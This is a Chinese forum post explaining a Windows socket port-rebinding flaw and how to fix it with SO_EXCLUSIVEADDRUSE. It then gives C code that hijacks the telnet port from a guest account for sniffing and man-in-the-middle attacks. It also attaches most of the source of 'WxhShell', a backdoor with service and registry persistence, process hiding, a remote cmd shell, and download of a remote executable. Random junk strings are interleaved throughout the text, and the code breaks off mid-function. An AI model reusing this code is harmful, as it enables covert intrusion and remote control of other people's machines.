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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V,?yPi$#E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @jlw_ob2g .eP.& saddr.sin_family = AF_INET; HgkC~' E`k@{*Hn& saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4X(H; CC^'@~)? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }Ys>(w AZ}Xj>= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Bng@-#`/ d$AWu{y 这意味着什么?意味着可以进行如下的攻击: 5-xX8-ElYz .%C|+#&d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mS~kJy_- ApXy=?fc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f8.gT49I G<^{&E+= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MO <3"@/, NS6:yX,/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 AlW66YAuQ 9lDhIqx0~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =+?7''{> 9v!1V,`j" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =6|&Jt O|N{v"o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M|(Q0 _8
`P;s8~ #include 7;(UF=4 #include \`\ZTZni #include B i<Q=x'Z; #include hzbw>g+ DWORD WINAPI ClientThread(LPVOID lpParam); JOim3(5?s int main() A:9?ZI/X { '1)$' WORD wVersionRequested; Eue~Y+K*b DWORD ret; Z} r*K% WSADATA wsaData; 2oRg 2R} BOOL val; B\:%ufd
~ SOCKADDR_IN saddr;
)sp4Ie SOCKADDR_IN scaddr; x`IEU*z# int err; 8d-t|HkN SOCKET s; df #$9- SOCKET sc; TSWM
|#u': int caddsize; cXOK)g# HANDLE mt; =-lb)Z"d DWORD tid; u21EP[[, wVersionRequested = MAKEWORD( 2, 2 ); P0PWJ^+,+ err = WSAStartup( wVersionRequested, &wsaData ); f/Bp.YwL if ( err != 0 ) { t=O8f5Pf{ printf("error!WSAStartup failed!\n"); KC#q@InK return -1; 8rS:5:Hi } l9u!aD saddr.sin_family = AF_INET; FA3~|Zg EJ:%}HhA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nl,uuc*; s)Cjc.Qs saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QM#4uI55B saddr.sin_port = htons(23); K$_0`>[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aC.~&MxFC { 9dUravC7 printf("error!socket failed!\n"); t#pS{.I return -1; :|8M`18lZ } {"QNJq#: val = TRUE; Um-[~- //SO_REUSEADDR选项就是可以实现端口重绑定的 7 uKY24 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `o8/(`a { '>ssqBnI printf("error!setsockopt failed!\n"); M|`U"vO return -1; &,CiM0 } P8)=Kbd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j*jo@N| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }\:NuTf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G&V/Gj8 )vb*Ef if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) > eIP.,9 { zSja/yq ret=GetLastError(); 1gy.8i printf("error!bind failed!\n"); &&:YVd
return -1; !~D}/Q;#}\ } t*T2Z-!P listen(s,2); }m;,Q9:+m^ while(1) i,4>0o? { lun\`f 5Q caddsize = sizeof(scaddr); M={V|H0 //接受连接请求 >P@H#= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \EtQ5T*u if(sc!=INVALID_SOCKET) a^zibPG { c%G{#}^2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $$5aUI:$~$ if(mt==NULL) c>Xs&_ { QY?~ZwYB printf("Thread Creat Failed!\n"); j; y#[| break; (l-ab2' } UsQ+`\| } ;J2z p*| CloseHandle(mt); 5}]"OXQ } v,{yU\) closesocket(s); Ww%=1M]e- WSACleanup(); nV:LqF= return 0; 4$S;( } ~h85BF5 DWORD WINAPI ClientThread(LPVOID lpParam) JYd 'Jp8bP { 8UyMVY SOCKET ss = (SOCKET)lpParam; ?!cvf{a SOCKET sc; 9Ujo/3,Ak unsigned char buf[4096]; [8,yF
D_U SOCKADDR_IN saddr; ^ ALly2 long num; `a/%W4 DWORD val; t@N=kV DWORD ret; @u]rWVy;\[ //如果是隐藏端口应用的话,可以在此处加一些判断 \$e)*9) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *b/`Ya4 saddr.sin_family = AF_INET; E5xzy/ZQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZR]25Yy saddr.sin_port = htons(23); )~] (& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NzOo0tz: { =&2Lb printf("error!socket failed!\n"); D
(mj7oB return -1; 4.=3M } Vq\`+&A val = 100; S` ;?z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X/2&!O { }O^zl# ret = GetLastError(); F,MO@&ue" return -1; f[a}aZ9) } ahOM CZF| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ps%q9}J { `t9?=h! ret = GetLastError(); dEA6 return -1; @&:ar } X{'q24\F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0#&5.Gr) { [uq$5u printf("error!socket connect failed!\n"); ?$^2Umt0 closesocket(sc); 7=WT69,& closesocket(ss); (>GK\=:< return -1; `[)YEgs } FUOI3 while(1) b6F4>@gjg { %$Z7x\_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T'&I{L33Y //如果是嗅探内容的话,可以再此处进行内容分析和记录 MIoEauf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I`LuRlw
num = recv(ss,buf,4096,0); $!(pF if(num>0) $lIz{ySJv send(sc,buf,num,0); lBTmx(_}}r else if(num==0) 7:3$Ey break; !Kj,9NX{U num = recv(sc,buf,4096,0); @I/]D6
~" if(num>0) "zRoU$X send(ss,buf,num,0); ^Z#W_R\l else if(num==0) V<@ o<R break; k"]dK,, } 5nO% Ke= closesocket(ss); {v2|g closesocket(sc); /fT+^& return 0 ; (+3Wgl+]/ } wl$h4 {L7 Y2SJ7 9;Ox;;w ========================================================== :Q_<Z@2Y{ M9@ri ^x
下边附上一个代码,,WXhSHELL @8^[!F Mt5PaTjj ========================================================== *"n vX2iz :^x?2%
~K. #include "stdafx.h" C
#6dC0 dJ""XaHqf #include <stdio.h> YY!6/5*/] #include <string.h> \y) #include <windows.h> J@X'PG<
6B #include <winsock2.h> ";Rtiiu #include <winsvc.h> mB9r3[ #include <urlmon.h> }S$@ Ez6 UE ,t8j #pragma comment (lib, "Ws2_32.lib") QC;^xG+W #pragma comment (lib, "urlmon.lib") W.0L:3<" Z%Zd2
v #define MAX_USER 100 // 最大客户端连接数 +g]yA3 #define BUF_SOCK 200 // sock buffer ugx%_x6 #define KEY_BUFF 255 // 输入 buffer fUQ6Z,9
S"$m] #define REBOOT 0 // 重启 yH*6@P4:0= #define SHUTDOWN 1 // 关机 Y=n4K< ,|plWIl~ #define DEF_PORT 5000 // 监听端口 .?e\I`Kk^' x,S
P'fcP #define REG_LEN 16 // 注册表键长度 k]HEhY #define SVC_LEN 80 // NT服务名长度 )Ocl=H|= .h5[Q/*h // 从dll定义API 8o0%@5M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 09kt[
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ql?=(b;D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e=;AfK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %v7[[U{T yK2^Y]Ku? // wxhshell配置信息 P*Tx14xe4 struct WSCFG { 7C2&NyWJ int ws_port; // 监听端口 >Ll$p0W char ws_passstr[REG_LEN]; // 口令 (B-43!C int ws_autoins; // 安装标记, 1=yes 0=no `8>Py~ char ws_regname[REG_LEN]; // 注册表键名 g9WGkHF char ws_svcname[REG_LEN]; // 服务名 |{ PI102 char ws_svcdisp[SVC_LEN]; // 服务显示名 -!L"') char ws_svcdesc[SVC_LEN]; // 服务描述信息 &F5@6nJ` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O
Wj@<N int ws_downexe; // 下载执行标记, 1=yes 0=no Y.U[wL> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" +_xOLiu
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !i%"7tQ3$ UaV iI/ks }; e^Ky<*Y z)=+ F] // default Wxhshell configuration &o97u4xi struct WSCFG wscfg={DEF_PORT, ,qrQ"r9 "xuhuanlingzhe", GSQ/NYK 1, 7ei|XfR "Wxhshell", 3^~KB'RZ "Wxhshell", xOHgp=#D "WxhShell Service", [mr9(m[F "Wrsky Windows CmdShell Service", j$Je6zq0x "Please Input Your Password: ", ,SiY;(b=\ 1, U*P. :BvG " http://www.wrsky.com/wxhshell.exe", *(>}Y "Wxhshell.exe" &gE 75B }; mA@Me7m} Iu*^xn // 消息定义模块 FwZ>{~?3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5W@jfh) char *msg_ws_prompt="\n\r? for help\n\r#>"; v[n7" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; D.6,VY H char *msg_ws_ext="\n\rExit."; wL^%w9q- char *msg_ws_end="\n\rQuit."; l-$uHHyu* char *msg_ws_boot="\n\rReboot..."; hy T1xa char *msg_ws_poff="\n\rShutdown..."; \VFHHi:I char *msg_ws_down="\n\rSave to "; W|,V50K W$Yc'E
; char *msg_ws_err="\n\rErr!"; Pv+5K*"7Cg char *msg_ws_ok="\n\rOK!"; )&<=.q w7n373y% char ExeFile[MAX_PATH]; mTEx,
int nUser = 0; .pvV1JA' HANDLE handles[MAX_USER]; RTu4@7XP int OsIsNt; Wt9Q;hK T}=>C+3r SERVICE_STATUS serviceStatus; awUx=%ERtA SERVICE_STATUS_HANDLE hServiceStatusHandle; = }:)y0L BMIyskl=i // 函数声明 @IP)S[^' t int Install(void); nbTVU+ int Uninstall(void); y{a$y}7#X int DownloadFile(char *sURL, SOCKET wsh); 1uk0d`JL int Boot(int flag); *79m^ void HideProc(void); ?}Lg)EFH int GetOsVer(void); o!r8{L int Wxhshell(SOCKET wsl); ~b|`'kU void TalkWithClient(void *cs); 1I}b|6
` int CmdShell(SOCKET sock); $CE[MZ&S int StartFromService(void); C}*cx$. int StartWxhshell(LPSTR lpCmdLine); ^Mk%z9
? %D`,k*X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \rV
B5|D? VOID WINAPI NTServiceHandler( DWORD fdwControl ); D*Q.G8( ')$NfarQ. // 数据结构和表定义 lw(e3j SERVICE_TABLE_ENTRY DispatchTable[] = ^v@4|E$ { F("#^$ {wscfg.ws_svcname, NTServiceMain}, O!Z|r? {NULL, NULL} 56Z\-=KAU }; 5Fm=/o1 |uH%6&\ // 自我安装 m3g2b _; int Install(void) io3yLIy, { *+b6B_u] char svExeFile[MAX_PATH]; 5Y3i|cj HKEY key; -sMyt HH. strcpy(svExeFile,ExeFile); VNtPKtx\ ,[nm_^R*\ // 如果是win9x系统,修改注册表设为自启动 S-nlr@w8 if(!OsIsNt) { w_iam qe, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CC3v%^81l^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l#wdpD a{ RegCloseKey(key); h
!(>7/Gi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zK+52jhi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TjBY
4 RegCloseKey(key); <[/%{sUNC return 0; ozr9>b>M } +"g~"< } sF+=KH } 7a$G@ else { b( ^^m:(w 2_t=P|Uo // 如果是NT以上系统,安装为系统服务 9(!]NNf! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cDXsi#Raj if (schSCManager!=0) O8N[Jl { G 8Y+w SC_HANDLE schService = CreateService )hj|{h7 ( qYp$fmj schSCManager, efuK wscfg.ws_svcname, kDz>r#% wscfg.ws_svcdisp, qOG}[%<^n7 SERVICE_ALL_ACCESS, [W,-1.$!dM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n|4;Hn1V SERVICE_AUTO_START, r++i=SQax SERVICE_ERROR_NORMAL, :<~7y.*O{ svExeFile, wp.TfKxw NULL, G;oFTP>o NULL, ]PNowS\ NULL, <Jp1A#
%p NULL, e^$j5jV NULL ELh3^ ); kYxS~Kd< if (schService!=0) .]}N55M { zSjgx_#U CloseServiceHandle(schService); - &[z\"T CloseServiceHandle(schSCManager); ;</Twm;: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (w2=
2$ strcat(svExeFile,wscfg.ws_svcname); wX'}4Z=C~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9|S` ub' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a1MFjmq RegCloseKey(key); ;' e@t8i6 return 0; } IlP: } g3?U#7i } ?4)v`* CloseServiceHandle(schSCManager); hQgN9S5P } I&1!v8 } twk&-:' fV ZW[9[ return 1; |Zq\GA } rvwy~hO" 3,.%
s // 自我卸载 -0,4egj3 int Uninstall(void) Dr"/3xm { 8kW /DcLE HKEY key; %TK&)Q% h5 4^!4eyQ^ if(!OsIsNt) { -'C!"\% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s=EiH RegDeleteValue(key,wscfg.ws_regname); }&G]0hCT! RegCloseKey(key); a`Z{
xme= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-|li}lDr RegDeleteValue(key,wscfg.ws_regname); -rDz~M+ RegCloseKey(key); \}inT_{g return 0; +|C[-W7Sw } :J(sXKr[C } {&nV4c$v } BGjb`U#%3 else { X_70]^XL mPmB6q%)] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R.7#zhC`4 if (schSCManager!=0) a%~yol0wO7 { \OHv|8!EI@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $+:(f{Va* if (schService!=0) =%h~/, { S]yvMj_? if(DeleteService(schService)!=0) { #Mi|IwL CloseServiceHandle(schService); {~GR8
U CloseServiceHandle(schSCManager); i@$-0%, return 0; } 21j } _F8T\f| CloseServiceHandle(schService); LC'2q*:' } Gm&2R4 )EP CloseServiceHandle(schSCManager); U4_"aT>My } J`Oy .Qu) } Sa}D.SBg w4:<fnOM return 1; \X@IkL$r } NdQ%:OKC v>WB FvyD // 从指定url下载文件 :k1$g+(lP int DownloadFile(char *sURL, SOCKET wsh) Z! YpklZ?~ { iUNnPJh HRESULT hr; 5a$$95oL char seps[]= "/"; PqhlXqX9 char *token; VBx,iuaw char *file; s -Y +x char myURL[MAX_PATH]; A!;meVUs char myFILE[MAX_PATH]; {Nq?#%vdT Jf+7"![| strcpy(myURL,sURL); >RR<eYu7m token=strtok(myURL,seps); /`R dQ<($ while(token!=NULL) q 22/_nSC { %}F"*. file=token; xzK>Xi? token=strtok(NULL,seps); W#45a.v } j<$R4A1 KF$ %q(( GetCurrentDirectory(MAX_PATH,myFILE); R ]=SWE}U strcat(myFILE, "\\"); FR' b`Xv: strcat(myFILE, file); _5h0@^m7y send(wsh,myFILE,strlen(myFILE),0); )[DpK=[N^p send(wsh,"...",3,0); ;xW{Ehq-h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mw|SH;nM if(hr==S_OK) qP`?M\!O return 0; XaGz].Sv else M,L@k return 1; 3*\8p6G dP3VJ3+
% } t~~r-V": oUS,+e // 系统电源模块 8OBF^r44R int Boot(int flag) Spc&X72I { W]~ZkQ|P HANDLE hToken; c'lIWuL) TOKEN_PRIVILEGES tkp; 'WzUu MCx Q=XA"R if(OsIsNt) { )]]|d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U$EM.ot LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s7Qyfe&> tkp.PrivilegeCount = 1; n +dJc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eH
`t \n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &U0WkW if(flag==REBOOT) {
/Ef4EX0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |QqWVelc return 0; q @*UUj@ } eHROBxH& else { WnO DDr
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `^f}$R| return 0; K*[0dza$ } 9T]va]w?# } Vd[2u else { KPg[-d if(flag==REBOOT) { \
>(zunL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PoY>5 return 0; @d
P~X } Wb'*lT0= else { 1YFAr}M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DlS&qFs return 0; gx#J%k,f } :X|AW?* } AYYRxhv_, .^GFy return 1; <M`-`v6H } "j
+v,js @ p"NJx" // win9x进程隐藏模块 hF9B?@n?B void HideProc(void) 1S^'C2/b { ,^M]yr*~ NB3/A"}"02 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `lvh\[3^ if ( hKernel != NULL ) sV&`0N { &8juS,b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 78^Y;2 P]W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l4DeX\ly7f FreeLibrary(hKernel); w8U2y/:> } <xC:Ant Fv;u1Atiw return; F1/6&u9I } 4g S[D 7!mJhgGc // 获取操作系统版本 a'm!M:w int GetOsVer(void) Age-AJ { - =yTAx OSVERSIONINFO winfo; wiKCr/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \v.HG]
/u GetVersionEx(&winfo); _82<|NN: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D@2Ya/c return 1; ^CO#QnB @ else ?TRW"% return 0; mMga"I9 } MyK^i2eD =tLU] // 客户端句柄模块 %{=4Fa(Jux int Wxhshell(SOCKET wsl) b,zR5R^D; { ;;D%
l^m+ SOCKET wsh; 6_pDe struct sockaddr_in client; +|)zwe DWORD myID; Z<w,UvJa
>_n:_ while(nUser<MAX_USER) K@y-)I2] { J,MT^ B int nSize=sizeof(client); gjO
*h3` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wYC9~ms- if(wsh==INVALID_SOCKET) return 1; g2!0vB> u;$I{b@M] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e1:u1(". if(handles[nUser]==0) \-DM-NrZ1U closesocket(wsh); sTJJE3TBI else 1 VPg`+o nUser++; U<1}I.hDJ } +'!h-x1y~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p<<6}3~ iJ5e1R8tN return 0; 1VRqz5 } @2QJm wEZqkV // 关闭 socket %{7$\|;J' void CloseIt(SOCKET wsh) QxP` f KC8 { ftDVxKDE?S closesocket(wsh); e-&L\M nUser--; GZ;Z ExitThread(0); <m-Ni } hB?U5J wn&[1gBxM // 客户端请求句柄 kO
/~i void TalkWithClient(void *cs) H0 {Mlu9 { bWhJ^LD s{b0#[ SOCKET wsh=(SOCKET)cs; >1_Dk7E0D char pwd[SVC_LEN]; ?*B;514 char cmd[KEY_BUFF]; :-W$PIBe char chr[1]; clij|?O int i,j; 8 ))I$+ zS&7[:IRs' while (nUser < MAX_USER) { @G^j8Nl+J} :YkDn~@ if(wscfg.ws_passstr) { Y j,9V], if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Z;Eu'ia //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5%vP~vy_} //ZeroMemory(pwd,KEY_BUFF); sE(X:[Am i=0; yQ72v' while(i<SVC_LEN) { D'U\]'. +H5 jRw // 设置超时 F#zQQ)(Pf fd_set FdRead; i4 y(H struct timeval TimeOut; m-Mhf; FD_ZERO(&FdRead); PX+"" # FD_SET(wsh,&FdRead); p\4h$." TimeOut.tv_sec=8; Br_3qJNVP TimeOut.tv_usec=0; 2b{@]Fp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ylo]`Nq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); roK4RYJ7) MVu[gB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /3xFd)|Ds pwd =chr[0]; 2gK p\! if(chr[0]==0xd || chr[0]==0xa) { BV_a-\Sa= pwd=0; CNpCe-%& break; A5(kOtgiT } SLbavP#G i++; O&gy( } P,s)2 s'nZ 6|>"0[4S // 如果是非法用户,关闭 socket si+5h6I.} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {|t? } /9t*CEu\ D*<8e?F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \`p |,j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X"]mR7k '6Rs0__ while(1) { z.Ve#~\ hfP(N_""S ZeroMemory(cmd,KEY_BUFF); VH$\ a~| `UzCq06rJ1 // 自动支持客户端 telnet标准 M[&.kH j=0; TLR Lng while(j<KEY_BUFF) { ul]m>W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)WH^Ir~ cmd[j]=chr[0]; 1{Sx V if(chr[0]==0xa || chr[0]==0xd) { d@`-!" cmd[j]=0; qrORP3D@ break; <3J=;.\6 } d-_93 j++; kG~ivB}x } "X!_37kQ -&HoR!af // 下载文件 "1pZzad
if(strstr(cmd,"http://")) { ZFd{q)qe send(wsh,msg_ws_down,strlen(msg_ws_down),0); `rRg(fCN!M if(DownloadFile(cmd,wsh)) _YD<Q@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +eH=;8 else (\AszLW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +L<w."WG } 9h)P8B.>M else { ).@)t:uNa !*$'fn'bAA switch(cmd[0]) { !Dhfr{ bx'B;rZr // 帮助 LXOF{FG case '?': { TO;]9`~;Mu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3mnL V*aRt break; J>&dWKM3 } d&3I>E$UP // 安装 hKH
Q!`&v case 'i': { Qr xO
erp if(Install()) yp7,^l send(wsh,msg_ws_err,strlen(msg_ws_err),0); Phjf$\pt else [eTck73 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kdZ-<O7@ break; >goAf`sqo } V0wC@? // 卸载 .(.G`aKnF case 'r': { gP"Mu#/D if(Uninstall()) SJY"]7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<_1|eH else e^K=8IW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc( )'6 break; 2* cKFv{ } FnU{C= P // 显示 wxhshell 所在路径 RdpQJ)3F case 'p': {
19.!$; char svExeFile[MAX_PATH]; ,L;c{[*rh strcpy(svExeFile,"\n\r"); N'W>pU strcat(svExeFile,ExeFile); j4hUPL7
send(wsh,svExeFile,strlen(svExeFile),0); ,_7tRkn break; r+WPQ`Ar } #)c;i<Q3S // 重启 trNK9@wT) case 'b': { -_H2FlB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qy0_1xT- if(Boot(REBOOT)) 1\9BO:<K send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:q9: else { #'{PYr closesocket(wsh); " kJWWR ExitThread(0); `5aypJf1 } eWt>^]H~ break; E*#60z7F } g\mrRZ/? // 关机 SGT-B. case 'd': { "}Sid+)< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f0s<Y if(Boot(SHUTDOWN)) gB'Ah -@,P send(wsh,msg_ws_err,strlen(msg_ws_err),0); OA5md9P;d else { T;vPR,]rz closesocket(wsh); &JzF ExitThread(0); k>@^M]% } MyS7AL break; 'c\TMb. } b|C,b"$N0 // 获取shell H0Gp mKYW case 's': { "7u"d4h-:( CmdShell(wsh); H@bmLq closesocket(wsh); TuhL: ExitThread(0); n"VE!`B break; ;@UX7NA } _-2n3py // 退出 nJ`a1L{N case 'x': { Yka yT0! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <EE+
S#z CloseIt(wsh); InGbV+ I break; lbXkZ , } Z.#glmw^=R // 离开 rcb/X`l= case 'q': { rG'k<X~7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?z36mj"`o closesocket(wsh); i /U{dzZ WSACleanup(); Woy[V exit(1); ##\ZuJ^- break; +_K;Pj]x } dg@/HLZ } v-]-wNqT } rsj}hS$ JqhVD@1{ // 提示信息 a-A4xL.gm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 761"S@tf$} } )ejqE6'[ } r}M4()9L LfSUY return; KQI} 5 } PL2Q!i`[o ~8 a>D<b // shell模块句柄 @G-k]IWi int CmdShell(SOCKET sock) xRZT { tqk6m# @( STARTUPINFO si; -2~yc2:>A ZeroMemory(&si,sizeof(si)); ]cY'6'}Hz si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wAwH8x LU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p{QKj3ov PROCESS_INFORMATION ProcessInfo; u>Kvub char cmdline[]="cmd"; ?ew]i'9( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G
U/k^Qy return 0; NjMLq|X } H[yLlv Sgk{NM7|k // 自身启动模式 %R5MAs&-5 int StartFromService(void) CUM~* { DY27' `n6 typedef struct .VV!$;
FB { -5B([jHgR DWORD ExitStatus; 43]&SXprH DWORD PebBaseAddress; oU6g5 DWORD AffinityMask; K&oO+ G^f DWORD BasePriority; K%@SS8!oy ULONG UniqueProcessId; f3&//h8 ULONG InheritedFromUniqueProcessId; .-*nD8b } PROCESS_BASIC_INFORMATION; ^]K)V zL{@LHP PROCNTQSIP NtQueryInformationProcess; @"5u~o')@v ^IZ0M1&W; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AR2+W^aM3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cLF>Jvs*J :Fk&2WsW: HANDLE hProcess; U}h
